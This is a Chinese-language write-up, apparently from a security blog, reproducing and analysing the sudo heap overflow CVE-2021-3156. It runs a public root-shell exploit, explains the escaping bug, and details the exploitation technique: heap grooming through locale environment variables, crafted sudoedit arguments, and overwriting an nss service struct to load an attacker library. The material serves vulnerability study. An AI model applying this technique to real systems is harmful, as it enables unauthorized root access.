文章首发于安全客
CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
CVE-2021-3156是sudo的一个堆溢出漏洞,可以用来进行本地提权。在类uninx中非root可以使用sudo来以root的权限执行操作。由于sudo错误的转义了\\导致了一个堆溢出漏洞。
漏洞影响版本为1.8.2-1.8.31sp12, 1.9.0-1.9.5sp1,sudo >=1.9.5sp2的版本则不受影响。
感谢luc师傅带我飞。
环境搭建 这里我首先使用的是docker ubuntu 20.04,查看一下sudo版本,这里需要注意的是首先需要创建一个普通权限的用户
1 2 3 4 5 6 normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ sudo --version Sudo version 1.8.31 Sudoers policy plugin version 1.8.31 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.31
执行命令sudoedit -s /如果回显
1 2 3 root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty sudoedit: /: not a regular file
则表明存在漏洞,如果回显
1 2 3 ➜ work sudoedit -s / usage: sudoedit [-AknS] [-r role] [-t type ] [-C num] [-g group] [-h host] [-p prompt] [-T timeout ] [-u user] file ...
则表示漏洞已经被修复
漏洞分析 首先我们使用exp 先执行一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ls Makefile README.md hax.c lib.c libnss_X sudo-hax-me-a-sandwich normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ make rm -rf libnss_Xmkdir libnss_Xgcc -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ./sudo-hax-me-a-sandwich 1 ** CVE-2021-3156 PoC by blasty <peter@haxx.in> using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31' ** pray for your rootshell.. ** [+] bl1ng bl1ng! We got it! uid=0(root) gid=0(root) groups =0(root),1000(normal) normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$
当sudo以-i,-s参数启动即MODE_SHELL,MODE_LOGIN_SHELl标志启动的时候,sudo会使用\\转义所有的元字符,并重写argc,argv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { char **av, *cmnd = NULL ; int ac = 1 ; if (argc != 0 ) { char *src, *dst; size_t cmnd_size = (size_t ) (argv[argc - 1 ] - argv[0 ]) + strlen (argv[argc - 1 ]) + 1 ; cmnd = dst = reallocarray(NULL , cmnd_size, 2 ); if (cmnd == NULL ) sudo_fatalx(U_("%s: %s" ), __func__, U_("unable to allocate memory" )); if (!gc_add(GC_PTR, cmnd)) exit (1 ); for (av = argv; *av != NULL ; av++) { for (src = *av; *src != '\\0' ; src++) { if (!isalnum ((unsigned char )*src) && *src != '_' && *src != '-' && *src != '$' ) *dst++ = '\\\\' ; *dst++ = *src; } *dst++ = ' ' ; } if (cmnd != dst) dst--; *dst = '\\0' ; ac += 2 ; } av = reallocarray(NULL , ac + 1 , sizeof (char *)); if (av == NULL ) sudo_fatalx(U_("%s: %s" ), __func__, U_("unable to allocate memory" )); if (!gc_add(GC_PTR, av)) exit (1 ); av[0 ] = (char *)user_details.shell; if (cmnd != NULL ) { av[1 ] = "-c" ; av[2 ] = cmnd; } av[ac] = NULL ; argv = av; argc = ac; }
之后会在sudoers_policy_main函数中调用set_cmnd函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 int sudoers_policy_main (int argc, char * const argv[], int pwflag, char *env_add[], bool verbose, void *closure) { cmnd_status = set_cmnd(); if (cmnd_status == NOT_FOUND_ERROR) goto done; } static int set_cmnd (void ) { if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 847 if (NewArgc > 1 ) { 848 char *to, *from, **av; 849 size_t size, n; 850 851 852 for (size = 0 , av = NewArgv + 1 ; *av; av++) 853 size += strlen (*av) + 1 ; 854 if (size == 0 || (user_args = malloc (size)) == NULL ) { 855 sudo_warnx(U_("%s: %s" ), __func__, U_("unable to allocate memory" )); 856 debug_return_int(-1 ); 857 } 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 859 864 for (to = user_args, av = NewArgv + 1 ; (from = *av); av++) { 865 while (*from) { 866 if (from[0 ] == '\\\\' && !isspace ((unsigned char )from[1 ])) 867 from++; 868 *to++ = *from++; 869 } 870 *to++ = ' ' ; 871 } 872 *--to = '\\0' ; 873 } else { 874 885 } 886 } } }
从代码中我们可以看出,函数首先按照argv中参数的大小申请一块堆空间user_args,然后依次将命令行参数链接到该堆空间中。
但是如果当一个命令行参数以反斜杠结尾,即from[0]=\\,from[1]=null,就会满足866行的条件,使得from++指向null,但是之后868行执行的拷贝操作又会使得from++从而越过了null,那么接下来的while循环就会发生越界拷贝。拷贝的内容将会复制到user_args堆块中,从而发生堆溢出。
但是理论在设置了MODE_SHELL,MODE_LOGIN_SHELL的条件下任何命令行参数都不可能以\\结尾,因为其在parse_args函数中会对所有的元字符进行转义包括这个\\。
但是这两个函数中的判断条件有所不同
1 2 3 4 5 6 7 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){}if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){} }
那么如果我们想要成功的利用堆溢出就需要在设置flags=MODE_SHELL/MODE_LOGIN_SHELL的条件下而不设置mode=MODE_RUN以避免转移代码的执行。那么根据sudoers_policy_main中的条件,我们只能设置MODE_EDIT | MODE_CHECK这两个标志位了,来看一下设置的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 case 'e' : if (mode && mode != MODE_EDIT) usage_excl(1 ); mode = MODE_EDIT; sudo_settings[ARG_SUDOEDIT].value = "true" ; valid_flags = MODE_NONINTERACTIVE; break ; case 'l' : if (mode) { if (mode == MODE_LIST) SET(flags, MODE_LONG_LIST); else usage_excl(1 ); } mode = MODE_LIST; valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; break ; if (argc > 0 && mode == MODE_LIST) mode = MODE_CHECK;
但是如果我们设置了这两个标志位,并且设置了MODE_SHELL/MODE_LOGIN_SHELL的话,在后续会被检测到并退出
1 2 3 if ((flags & valid_flags) != flags) usage(1);// Give usage message and exit .
但是当我们以sudoedit执行的时候
1 2 3 4 5 6 if (proglen > 4 && strcmp(progname + proglen - 4, "edit" ) == 0) { progname = "sudoedit" ; mode = MODE_EDIT; sudo_settings[ARG_SUDOEDIT].value = "true" ; }
这里只会设置mode = MODE_EDIT,而并不会设置valid_flags,也就不会检测退出,我们就可以正常执行到堆溢出的部分。
这个漏洞是非常友好的,因为我们可以通过控制命令行参数从而控制user_args堆块申请的大小,溢出的内容以及溢出的长度。并且攻击者可以通过以反斜杠结尾的方式实现向目标地址写0。
漏洞利用 背景知识 这在进行分析之前我们首先需要了解一下locale和nss相关的信息。
locale是根据计算机用户所使用的语言,所在的国家和地区所定义的一个软件运行时的语言环境,通常通过环境变量进行设置,locale相关的环境变量生效的顺序如下
LANGUAGE指定个人对语言环境的主次偏好,如zh_CN:en_US
LC_ALL是一个可以被setlocale设置的宏,其值可以覆盖所有其他的locale设定
LC_XXX详细设定locale的各个方面,可以覆盖LANG的值
LANG指定默认使用的locale
当LC_ALL/LANG被设置为C的时候,LANGUAGE的值将会被忽略。其命名规则如下
1 2 language[_territory[.codeset]][@modifier]
其中language是ISO 639-1 标准中定义的双字母的语言代码,territory是ISO 3166-1 标准中定义的双字母的国家和地区代码,codeset是字符集的名称 (如 UTF-8等),而 modifier 则是某些locale变体的修正符。我们可以详细的设置共12个环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> p _nl_category_names $1 = { str41 = "LC_COLLATE" , str67 = "LC_CTYPE" , str140 = "LC_MONETARY" , str193 = "LC_NUMERIC" , str207 = "LC_TIME" , str259 = "LC_MESSAGES" , str270 = "LC_PAPER" , str279 = "LC_NAME" , str292 = "LC_ADDRESS" , str311 = "LC_TELEPHONE" , str322 = "LC_MEASUREMENT" , str330 = "LC_IDENTIFICATION" }
nss全称为Name Service Switch,在*nix操作系统中,nss是C语言库的一部分,用来解析name,比如登陆用户的用户名以及IP地址到域名的解析。举个例子,当我们输入命令ls -alg即查看一个目录中的文件列表,对于每一个文件我们可以看到它所属的用户和用户组,但是实际上系统中只保存了用户和用户组的id,要想显示与之相关的字符这就需要nss进行解析。我们可以在配置文件/etc/nsswitch.conf中定义相关数据库的查找规范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 root@2c3723801aeb:/home/normal/CVE-2021-3156_blasty passwd: files systemd group: files systemd shadow: files gshadow: files hosts: files dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis
对于每个可用的查找规范即service都必须有文件libnss_service.so.2与之对应,例如group数据库定义了查找规范files,那么在调用getgroup函数的时候就会调用libnss_files.so.2中的nss_lookup_function函数进行查找。因此我们可以在ubuntu中找到下面的共享库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 libnss_compat-2.31.so libnss_compat.so libnss_compat.so.2 libnss_dns-2.31.so libnss_dns.so libnss_dns.so.2 libnss_files-2.31.so libnss_files.so libnss_files.so.2 libnss_hesiod-2.31.so libnss_hesiod.so libnss_hesiod.so.2 libnss_nis-2.31.so libnss_nis.so libnss_nis.so.2 libnss_nisplus-2.31.so libnss_nisplus.so libnss_nisplus.so.2 libnss_systemd.so.2
正常情况下当sudo调用到__nss_lookup_function情况如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 In file: /root/glibc/sourceCode/glibc-2.31/nss/nsswitch.c 408 409 410 411 void * 412 __nss_lookup_function (service_user *ni, const char *fct_name) ► 413 { 414 void **found, *result; 415 416 /* We now modify global data. Protect it. */ 417 __libc_lock_lock (lock); 418 ───────────────────[ STACK]───────── 00:0000│ rsp 0x7fffffffe358 —▸ 0x7ffff7e3713f (internal_getgrouplist+175) ◂— test rax, rax 01:0008│ 0x7fffffffe360 ◂— 0x25b000000ae 02:0010│ 0x7fffffffe368 ◂— 0xffffff0000007d /* '}' */ 03:0018│ 0x7fffffffe370 ◂— 0xffffffffffffffff 04:0020│ 0x7fffffffe378 —▸ 0x7fffffffe380 ◂— 0x1 05:0028│ 0x7fffffffe380 ◂— 0x1 06:0030│ 0x7fffffffe388 ◂— 0xc4e5bb2d41c2d00 07:0038│ 0x7fffffffe390 ◂— 0x0 ───────────────────[ BACKTRACE ]───────────────── ► f 0 7ffff7e9bdf0 __nss_lookup_function f 1 7ffff7e3713f internal_getgrouplist+175 f 2 7ffff7e373ed getgrouplist+109 f 3 7ffff7f4fe16 sudo_getgrouplist2_v1+198 f 4 7ffff7c53d63 sudo_make_gidlist_item+451 f 5 7ffff7c52b0e sudo_get_gidlist+286 f 6 7ffff7c4c86d runas_getgroups+93 f 7 7ffff7c39d32 set_perms+1650 ─────────────────────────────────────────────────────────────── pwndbg> p *ni $1 = { next = 0x55555557fc10, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x0, name = 0x55555557fc00 "files" } pwndbg> p *(ni->next) $2 = { next = 0x0, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x0, name = 0x55555557fc40 "systemd" } pwndbg>
当调用getgroup函数的时候,__nss_lookup_function会依次加载files,systemd这两个service name。而这两个service name的信息是存储在堆空间中的。看一下__nss_lookup_function函数的具体实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void *__nss_lookup_function (service_user *ni, const char *fct_name) { void **found, *result; __libc_lock_lock (lock); found = __tsearch (&fct_name, &ni->known, &known_compare); if (found == NULL ) result = NULL ; else if (*found != &fct_name) { } else { known_function *known = malloc (sizeof *known); if (! known) { } else { *found = known; known->fct_name = fct_name; #if !defined DO_STATIC_NSS || defined SHARED if (nss_load_library (ni) != 0 ) goto remove_from_tree; return result; } libc_hidden_def (__nss_lookup_function)
在调用nss_lookup_function的时候一般fct_name是固定的字符串,所以这里我们直接进入nss_load_library函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 static int nss_load_library (service_user *ni) { if (ni->library == NULL ) { static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL ) return -1 ; } if (ni->library->lib_handle == NULL ) { size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1 ); int saved_errno = errno; char shlib_name[shlen]; __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_" ), ni->name), ".so" ), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); if (ni->library->lib_handle == NULL ) { } # ifdef USE_NSCD else if (is_nscd) { } return 0 ; } #endif static service_library *nss_new_service (name_database *database, const char *name) { service_library **currentp = &database->library; while (*currentp != NULL ) { if (strcmp ((*currentp)->name, name) == 0 ) return *currentp; currentp = &(*currentp)->next; } *currentp = (service_library *) malloc (sizeof (service_library)); if (*currentp == NULL ) return NULL ; (*currentp)->name = name; (*currentp)->lib_handle = NULL ; (*currentp)->next = NULL ; return *currentp; } #endif
从代码中我们可以看出,如果ni->library=NULL,那么就会调用nss_new_service函数为其分配一个堆块,并对name,lib_handle,next赋值,完成之后进入if (ni->library->lib_handle == NULL)分支,对name进行字符串拼接,也就是libnss_+name+'.so.2',之后就会调用__libc_dlopen函数加载动态链接库。
由于ni的service name结构体是分配在堆空间中的,而现在我们有存在user_args的堆溢出的漏洞,那么如果我们利用堆溢出将service name结构体的除name之外的其他成员变量全部覆写为0,name覆写为x/x那么经过字符串拼接之后就会加载libnss_x/x.so.2的动态链接库,我们将getshell的代码写入_init之后编译为动态链接库即可。
接下来就是如何溢出的问题。为了防止溢出过程中覆写中间的关键结构体,user_args与service name之间的距离要尽可能的小,最好的方法就是在service name上方人为的释放一个堆块,之后user_args再申请该堆块进行溢出。目前分析的exp是通过setlocale实现的。我们首先来看一下service_user的初始化过程
在sudo.c:191会调用get_user_info函数在获取用户信息的时候需要获取用户的用户名和口令信息,这就需要到了nss服务,也就是需要调用passwd对应的服务规范。在函数中会调用根据配置文件初始化file/systemd等服务规范,调用栈如下
其中关键的逻辑代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 int __nss_database_lookup2 (const char *database, const char *alternate_name, const char *defconfig, service_user **ni) { if (service_table == NULL ) service_table = nss_parse_file (_PATH_NSSWITCH_CONF); } static name_database *nss_parse_file (const char *fname) { fp = fopen (fname, "rce" ); if (fp == NULL ) return NULL ; result = (name_database *) malloc (sizeof (name_database)); if (result == NULL ) { fclose (fp); return NULL ; } result->entry = NULL ; result->library = NULL ; do { name_database_entry *this; ssize_t n; n = __getline (&line, &len, fp); if (n < 0 ) break ; if (line[n - 1 ] == '\\n' ) line[n - 1 ] = '\\0' ; *__strchrnul (line, '#' ) = '\\0' ; if (line[0 ] == '\\0' ) continue ; this = nss_getline (line); if (this != NULL ) { if (last != NULL ) last->next = this; else result->entry = this; last = this; } } while (!__feof_unlocked (fp)); } static name_database_entry *nss_getline (char *line) { result->service = nss_parse_service_list (line); } static service_user *nss_parse_service_list (const char *line) { while (1 ) { new_service = (service_user *) malloc (sizeof (service_user) + (line - name + 1 )); *nextp = new_service; nextp = &new_service->next; continue ; } }
当配置文件中所有的服务规范全部处理完毕之后,形成了下面的列表,其中链表头存储在libc中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> p &service_table $52 = (name_database **) 0x7ffff7f457a8 <service_table>pwndbg> p *service_table $53 = { entry = 0x5555555829d0, library = 0x0 } pwndbg> p *service_table->entry $54 = { next = 0x555555582a70, service = 0x5555555829f0, name = 0x5555555829e0 "passwd" } pwndbg> p *service_table->entry->next $55 = { next = 0x5555555885b0, service = 0x555555588530, name = 0x555555582a80 "group" } pwndbg> p *service_table->entry->next->service $56 = { next = 0x555555588570, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x0, name = 0x555555588560 "files" }
经过调试发现get_user_info函数中的堆块申请顺序如下
1 2 3 4 5 6 7 8 9 10 11 12 malloc (0x100 )malloc (0x400 )malloc (0x1d8 )malloc (0x10 )malloc (0x78 )malloc (0x1000 )malloc (0x17 )malloc (0x36 )malloc (0x38 )malloc (0x16 )malloc (0x36 )
在glibc>2.27版本之上由于存在tcache,因此在申请堆块的时候会首先判断tcache中是否存在空闲的堆块。我们的目的是覆写group files堆块,从exp来看,攻击者首先是获取了free的原语,得到可以释放任意大小和数量的堆块之后进行了下面的布置。首先是2个0x40大小的堆块用来满足passwd的service_user的堆块的申请,然后释放一个堆块,用来满足user_args堆块的申请,然后再释放一个0x40大小的堆块用来满足group files service_user的堆块的申请。
那么在get_user_info函数初始化所有的service_user堆块之后,在之后溢出user_args的时候就可以直接溢出到group files的service_user结构体,就可以进行加载我们自己的动态链接库getshell。
free 原语 sudo在main函数的起始位置sudo.c:154调用了setlocale(LC_ALL, "");函数,其中locale=""表示根据环境变量来设置locale。setlocale会申请和释放大量的堆块。来看一下setlocale函数的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 char *setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite; if (category == LC_ALL) { while (category-- > 0 ) if (category != LC_ALL) { newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]); } composite = (category >= 0 ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL ) { } else for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]); return composite; } else { } } libc_hidden_def (setlocale)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 struct __locale_data * _nl_find_locale (const char *locale_path , size_t locale_path_len , int category , const char **name ) { if (cloc_name[0 ] == '\\0' ) { cloc_name = getenv ("LC_ALL" ); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names_get (category)); if (!name_present (cloc_name)) cloc_name = getenv ("LANG" ); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } else if (!valid_locale_name (cloc_name)) { __set_errno (EINVAL); return NULL ; } *name = cloc_name; if (__glibc_likely (locale_path == NULL )) { struct __locale_data *data = _nl_load_locale_from_archive (category, name); if (__glibc_likely (data != NULL )) return data; cloc_name = _nl_expand_alias (*name); if (cloc_name != NULL ) { data = _nl_load_locale_from_archive (category, &cloc_name); if (__builtin_expect (data != NULL , 1 )) return data; } locale_path = _nl_default_locale_path; locale_path_len = sizeof _nl_default_locale_path; } else cloc_name = _nl_expand_alias (*name); if (cloc_name == NULL ) cloc_name = *name; char *loc_name = strdupa (cloc_name); mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1 ) return NULL ; locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names_get (category), 0 ); if (locale_file == NULL ) { locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names_get (category), 1 ); if (locale_file == NULL ) return NULL ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 struct loaded_l10nfile * _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list , const char *dirlist , size_t dirlist_len , int mask , const char *language , const char *territory , const char *codeset , const char *normalized_codeset , const char *modifier , const char *filename , int do_allocate ) { char *abs_filename; struct loaded_l10nfile *last = NULL ; struct loaded_l10nfile *retval ; char *cp; size_t entries; int cnt; abs_filename = (char *) malloc (dirlist_len + strlen (language) + ((mask & XPG_TERRITORY) != 0 ? strlen (territory) + 1 : 0 ) + ((mask & XPG_CODESET) != 0 ? strlen (codeset) + 1 : 0 ) + ((mask & XPG_NORM_CODESET) != 0 ? strlen (normalized_codeset) + 1 : 0 ) + ((mask & XPG_MODIFIER) != 0 ? strlen (modifier) + 1 : 0 ) + 1 + strlen (filename) + 1 ); if (abs_filename == NULL ) return NULL ; last = NULL ; for (retval = *l10nfile_list; retval != NULL ; retval = retval->next) if (retval->filename != NULL ) { int compare = strcmp (retval->filename, abs_filename); if (compare == 0 ) break ; if (compare < 0 ) { retval = NULL ; break ; } last = retval; } if (retval != NULL || do_allocate == 0 ) { free (abs_filename); return retval; } cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask; for (; cnt >= 0 ; --cnt) if ((cnt & ~mask) == 0 ) { char *dir = NULL ; while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir)) != NULL ) retval->successor[entries++] = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1 , cnt, language, territory, codeset, normalized_codeset, modifier, filename, 1 ); } return retval; }
从上面的源码来看setlocale函数,如果传入的参数是NULL,那么就会返回_nl_global_locale.__names数组中对应的值即相应的LC_*的值。如果传入的参数是“”,那么就会根据环境变量设置_nl_global_locale.__names中的值,函数最主要的是进入了一个while循环,每次调用_nl_find_locale函数首先从环境变量中按照优先级顺序加载相应的环境变量,然后根据环境变量从/usr/lib/locale中查找有没有对应的文件,这里会根据mask的值控制加载的优先级,加载文件,如果没有对应的文件就会返回NULL。
这里比如LC_COLLATE=C.UTF-8@aaaa,如果/usr/lib/locale/C.UTF-8@aaaa/LC_COLLATE文件存在的话,那么就加载这个文件,否则就加载/usr/lib/locale/C.UTF-8/LC_COLLATE文件,当然这里有很多的路径选择,不止这两个。
当_nl_find_locale函数返回的为NULL的时候,while循环就会终止,此时category>0,那么这里就表明加载环境变量出现了错误,会释放之前申请的所有的newnames,也就是环境变量中的值比如C.UTF-8@aaaa。
否则当while循环执行完毕之后就会将所有的_nl_global_locale.__names数组中对应的值设置为我们输入的值,然后将LC_ALL赋值
那么这里的free原语就出来了,假如我们想要设置n个size大小的堆块,那么就设置n个环境变量(这里注意顺序,环境变量从后向前开始加载),环境变量的值为C.UTF-8@len,其中len的大小满足> size-0x20 & < size-0x10。
这里需要注意的一个问题就是,在进行环境变量加载的过程中会对于每一个不同size的堆块,都会释放一个size+0x10大小的堆块,这是路径拼接造成的。但是相同size大小的会复用同一个堆块,因此在tcache中不同size大小的堆块只会额外产生1个size+0x10大小的堆块。需要注意的是对于size比较小的堆块,由于getlocale中堆块的申请比较多,因此可能会被申请回去,目前可以肯定的是对于0x80或者大于0x80的附加堆块会保存在tcache中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> heapinfo (0x20 ) fastbin[0 ]: 0x0 (0x30 ) fastbin[1 ]: 0x0 (0x40 ) fastbin[2 ]: 0x0 (0x50 ) fastbin[3 ]: 0x0 (0x60 ) fastbin[4 ]: 0x0 (0x70 ) fastbin[5 ]: 0x0 (0x80 ) fastbin[6 ]: 0x0 (0x90 ) fastbin[7 ]: 0x0 (0xa0 ) fastbin[8 ]: 0x0 (0xb0 ) fastbin[9 ]: 0x0 top: 0x555555582580 (size : 0x1da80 ) last_remainder: 0x5555555814b0 (size : 0xf90 ) unsortbin: 0x5555555814b0 (size : 0xf90 ) (0x20 ) tcache_entry[0 ](1 ): 0x5555555814a0 (0x40 ) tcache_entry[2 ](3 ): 0x55555557ff40 --> 0x555555580620 --> 0x555555581380 (0x70 ) tcache_entry[5 ](1 ): 0x555555580cb0 (0x80 ) tcache_entry[6 ](1 ): 0x555555580a90 (0x1e0 ) tcache_entry[28 ](1 ): 0x55555557f2a0 (0x410 ) tcache_entry[63 ](1 ): 0x55555557f500
这里由于ubuntu 20.04下面我在调试的时候execve执行之后sudo main函数执行之前就会有一个0x80的堆块,不知道什么原因,因此这里直接释放0x80的堆块会有问题,因此这里我是用附加堆块来实现0x80大小的堆块的效果。
拿到上述的堆布局之后就可以将user_args长度设置为0x80,申请得到0x555555580a90堆块,之后就可以覆写0x555555581380的group files service_user结构体了。
这里需要注意的是在溢出的时候不能溢出group files太多,会直接覆写到service_table也就是上面那个0x20大小的堆块,应该是在最后一次参数拷贝的时候恰好覆写到service_user结构体的name字段。不多覆写。
这里我们看到堆块之间的差值是0x8f0,我们需要覆写这些长度。中间这些堆块都是在进行setlocale中产生的,对之后的程序进行没有影响,可以直接覆写。根据之前溢出的规则,遇到\\\\就会继续向后读。目前exp中参数设置如下
1 2 "sudoedit" , "-s" , smash_a, "\\\\" , smash_b, NULL, envp
参数和环境变量在内存中的表现方式如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // argv->0x7ffc304d1a18 pwndbg> telescope 0x7ffc304d1a18 00:0000│ rdx 0x7ffc304d1a18 —▸ 0x7ffc304d1df6 ◂— 'sudoedit' 01:0008│ 0x7ffc304d1a20 —▸ 0x7ffc304d1dff ◂— 0x414141414100732d /* '-s' */ 02:0010│ 0x7ffc304d1a28 —▸ 0x7ffc304d1e02 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\' 03:0018│ 0x7ffc304d1a30 —▸ 0x7ffc304d1e3c ◂— 0x424242424242005c /* '\\\\' */ 04:0020│ 0x7ffc304d1a38 —▸ 0x7ffc304d1e3e ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\\\' 05:0028│ 0x7ffc304d1a40 ◂— 0x0 06:0030│ 0x7ffc304d1a48 —▸ 0x7ffc304d1e76 ◂— 0x5c005c005c005c /* '\\\\' */ 07:0038│ 0x7ffc304d1a50 —▸ 0x7ffc304d1e78 ◂— 0x5c005c005c005c /* '\\\\' */ //... pwndbg> 40:0200│ 0x7ffc304d1c18 —▸ 0x7ffc304d1eea ◂— 0x5c005c005c005c /* '\\\\' */ 41:0208│ 0x7ffc304d1c20 —▸ 0x7ffc304d1eec ◂— 0x5c005c005c005c /* '\\\\' */ 42:0210│ 0x7ffc304d1c28 —▸ 0x7ffc304d1eee ◂— 0x2f58005c005c005c /* '\\\\' */ 43:0218│ 0x7ffc304d1c30 —▸ 0x7ffc304d1ef0 ◂— 0x30502f58005c005c /* '\\\\' */ 44:0220│ 0x7ffc304d1c38 —▸ 0x7ffc304d1ef2 ◂— 0x5f5030502f58005c /* '\\\\' */ 45:0228│ 0x7ffc304d1c40 —▸ 0x7ffc304d1ef4 ◂— 'X/P0P_SH3LLZ_' 46:0230│ 0x7ffc304d1c48 —▸ 0x7ffc304d1f02 ◂— 0x433d4c4c415f434c ('LC_ALL=C' ) 47:0238│ 0x7ffc304d1c50 ◂— 0x0
